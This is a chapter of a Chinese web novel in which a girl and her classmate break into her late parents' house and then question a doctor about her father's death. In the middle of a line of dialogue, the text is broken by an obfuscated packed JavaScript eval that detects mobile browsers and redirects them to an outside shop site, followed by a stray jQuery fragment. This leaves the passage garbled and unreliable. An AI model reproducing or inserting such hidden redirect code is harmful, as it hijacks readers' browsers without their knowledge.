二人摸索了将近半个小时,终于找到一处松动的窗户。
“你看这个痕迹,似乎之前被人撬开过,所以才松动了。”许远汀指着松动的地方说,“看来他们是还想再来,所以没有拧紧。会不会是……小偷?”
林意珂眯眼沉思片刻:“谁知道呢,我们先把它弄开。”
二人费了九牛二虎之力,将窗户弄开,翻了进去,又小心翼翼地关上。
屋内拉着窗帘,一片漆黑,他们拿出手机打开手电筒。
只见屋内所有的家具都被白布盖着,墙上有一些钉子,应该是之前挂过许多照片。
“先去主卧。”林意珂环顾四周,和许远汀上了二楼,来到了主卧。
她深吸一口气,推开了门。
主卧里什么都没有。
“奇怪,为什么客厅里家具没有搬走,主卧却空荡荡的?”许远汀深吸一口气,“难道……他们是死在了……主卧?”
他不由得颤抖了一下。
林意珂来不及多想,又去了旁边的次卧,这里的家具倒是都在,也都用白布盖着。
“这就是他们女儿的房间吧?那好像是张婴儿床。”许远汀一边走一边看。
林意珂开始翻抽屉。
许远汀一脸震惊,小声说:“你要找什么?我们这样乱翻不太好吧?”
林意珂没有理会他,快速地将所有抽屉翻了一遍,终于在一个抽屉的深处翻出了一张照片,那照片上布满了灰尘。
她吹了吹上面的灰尘,又用衣角擦了擦,眼前一亮。
这正是她的父母抱着她拍得照片。
许远汀凑近一看,眨眨眼:“这就是那对死去的年轻夫妇吧?诶,林意珂,你有没有感觉这个女人的眉眼之间与你有些相似?”
林意珂回过神来,收起照片:“大众脸吧,再说了这里也看不很清。走吧,我们再去阁楼找一找。”
许远汀来不及反应,就被林意珂拉着上了阁楼。
二人站在阁楼的门口沉默半晌。
“这个锁链,我们应该是没办法打开的。”许远汀盯着阁楼的门,“除非这个家里有工具箱。”
“阁楼居然上了锁……”林意珂两眼放光,“里面一定放了不能被人知道的秘密,走,我们去找工具箱。”
她说完,拉着许远汀回到一楼客厅,翻箱倒柜的找工具箱。
忽然,刚才的窗户被打开了。
二人一惊,连忙躲进了橱柜,绷紧神经。
“这窗户……好像被别人打开过。”一个男人的声音传来。
“不会吧,除了我们谁还会来这个凶宅?”另一个男人说。
“说的也是,不过,那位有可能来呀,会不会是她?”
“找了那么多年都没找到,再说了,她当时只有三岁,现在应该什么都不记得了。”
“那我们一直在这里蹲守岂不是毫无意义?”
“管他呢,反正老板给的钱多,这份工作也好做。”
“说的也是呵呵……”
渐渐的,二人的脚步声愈来愈来,似乎上了二楼。
林意珂和许远汀松了一口气。
“他们应该上二楼了,我们是要继续躲着还是走?”许远汀皱眉,“听他们的口气,似乎天天来这里,好像在等什么人。”
林意珂咬了一下嘴唇:“走,我们离开这里,此地不宜久留。”
“不看阁楼了?”许远汀问。
“不看了,小命重要。”林意珂轻轻推开橱柜的门,探头往两边看了看,拉着许远汀走到窗户旁,爬了出去,跑了一段距离才放慢了脚步。
此时,两个男人站在二楼的次卧,目瞪口呆,只见盖着家具的白布被掀开了。
二人深吸一口气,对视一眼。
“看来你猜对了,还真有人来过。”
“现在怎么办?找一找?”
“你看,那里有脚印,一大一小,看来是两个人。”
“会不会是她回来了?”
“不知道,但我感觉他们应该没离开,你去一楼,我在二楼找。”
二人互相看着,用力点了点头,分头行动。
“他们应该不会跟上来吧?”许远汀时不时往身后瞅几眼。
“这已经是别的路了,即便是他们发现了我们,现在应该也是在别墅里寻找。”林意珂又拿出另一张纸,“现在我们打车去另一个地方——烟花私立医院。”
“去医院?你那个亲戚在这个医院工作?”许远汀问。
林意珂瞪了他一眼:“你就只管跟着我,什么都不要问。”
许远汀眨眨眼,轻轻点头。
二人打车去了烟花私立医院,这是烟城最有名的私立医院。宋清羽说,她的恩人易路曾经在这里工作。
如今过去十二年,这座医院也比以前大了很多。
林意珂按照指引,找到了心理诊室,仔细看着墙上的介绍,那里放着易路的介绍。
“易路,烟花私立医院心理诊室的开创人,毕业于清北大学……”许远汀念着墙上的文字。
林意珂盯着父亲的照片,眼里含着泪花。她本以为父亲在这里的痕迹会被抹掉,没曾想他的照片正大光明的挂在这里。
这时,一位年轻的男医生走过来,打量着他们:“你们可是来接受心理咨询的?挂号了吗?”
林意珂一怔,抬头看着他:“我们是宋清羽医生的朋友,我们来,是想打听有关易路医生的事情。”
宋清羽说过,如果遇到年轻的医生可以说是她的朋友,因为对方有可能是她的同学。
“宋清羽?你们是宋清羽的朋友?”年轻男医生展开笑容,“我是她的同班同学,姓谢。”
“谢医生你好,我姓林,他姓许。”林意珂伸出手与之握了握。
谢医生看了一眼时间:“行吧,那你们来我办公室吧。”
林意珂和许远汀跟在谢医生身后,林意珂心中窃喜,没想到这么顺利,还以为会被赶走。
谢医生给他们倒了一杯水,与他们相对而坐。
“易路呀,他不仅是宋清羽的恩人,也是我们班所有人,甚至我们系所有人的偶像。”谢医生喝了一口水,眯起双眼一边回忆一边讲诉。
林意珂聚精会神地听着,生怕错过任何一个细节。
良久,谢医生长叹一口气:“后来,他意外离世,听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197065|149529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说是车祸,我们都去参加了他的追悼会。”
“车……祸?他们是车祸离世的?”林意珂微微皱眉,“请问你是从哪里知道的这个消息。”
“从网络新闻上得知的。”谢医生说,“我记得那个网站叫烟城万事。”
林意珂低头思索,别墅外的老太太说她的父母是被人杀害,但是新闻上写的却是车祸离世,而林西辰也对她说父母是车祸,看来林西辰是动用了关系,故意向大众隐瞒了父母的真正死因。
林西辰为什么要这么做呢?
她回过神来,问:“谢医生,你刚才说你参加了易路夫妇的追悼会?请问追悼会是……谁办的?”
“追悼会啊……我想想……好像是易路医生的一个好朋友办的,我记得他姓……姓……姓庞,对,姓庞,一个男人,看起来和易路医生差不多年龄。”谢医生说。
“姓庞的男人?”林意珂眨眨眼,庞这个姓氏好耳熟。
“好了,我知道就这么多了,你们还有别的事情吗?”谢医生站起来问。
许远汀晃了晃林意珂,林意珂站起来:“谢谢谢医生,那我们就告辞了。”
谢医生轻轻点头,目送二人离开。
他眯起眼睛,喃喃自语:“这个小丫头的眉眼……好像在哪里见过……”
别墅里的二人将别墅翻了个底朝天都没有找到人,只得给他们的老板打了电话,老板交代了几句后,他们也离开了别墅。
林意珂出了医院,连打了三个喷嚏,一种不祥的预感涌上心头。
她闭眼,抬头对着天空,沐浴着阳光。
许远汀环顾四周:“我们是继续去下一个地方还是回酒店?”
林意珂睁开眼:“许远汀,庞这个姓氏,你觉不觉得耳熟?好像不久之前在哪里听过。”
许远汀思索着:“庞姓啊……我记得,当初和你起冲突的戴欣欣的爸爸,就是庞氏集团青城分公司的总经理,等等,我们这次研学不就是庞氏集团邀请的吗?”
林意珂茅塞顿开:“对啊,我怎么又……我这是怎么了?我们这次研学就是庞氏集团邀请的,所有说庞姓耳熟……那庞氏集团的董事长今年多大?”
许远汀立刻拿出手机搜索:“查到了,庞氏集团董事长叫庞坤,今年四十岁。”
林意珂嘟囔着:“四十岁……如果易路夫妇没死的话……今年应该也是四十岁,所以……”
“所以你觉得易路夫妇的追悼会就是庞坤办的,庞坤是他们的朋友?”许远汀转了转眼珠,“不过,一个集团的总裁和一个心理医生是如何认识的?”
林意珂快速转动大脑,灵光一闪夺过许远汀的手机,翻看着庞坤的简介,惊呼:“学校!对,学校!庞坤和易路是一个初中的!”
她盯着庞坤简介中初中学校的名字,她记得,林西辰说过易路的初中是在这个学校读的。
“一个初中的?”许远汀凑近她,低头看着手机,“我还以为是一个大学的……诶,这个庞坤只读到了初中吗?简介里没有他高中和大学的校名。”
“诶,他们那个年代不上大学也有很多出路。”林意珂抿了抿嘴,“许远汀,我有一个大胆的想法。”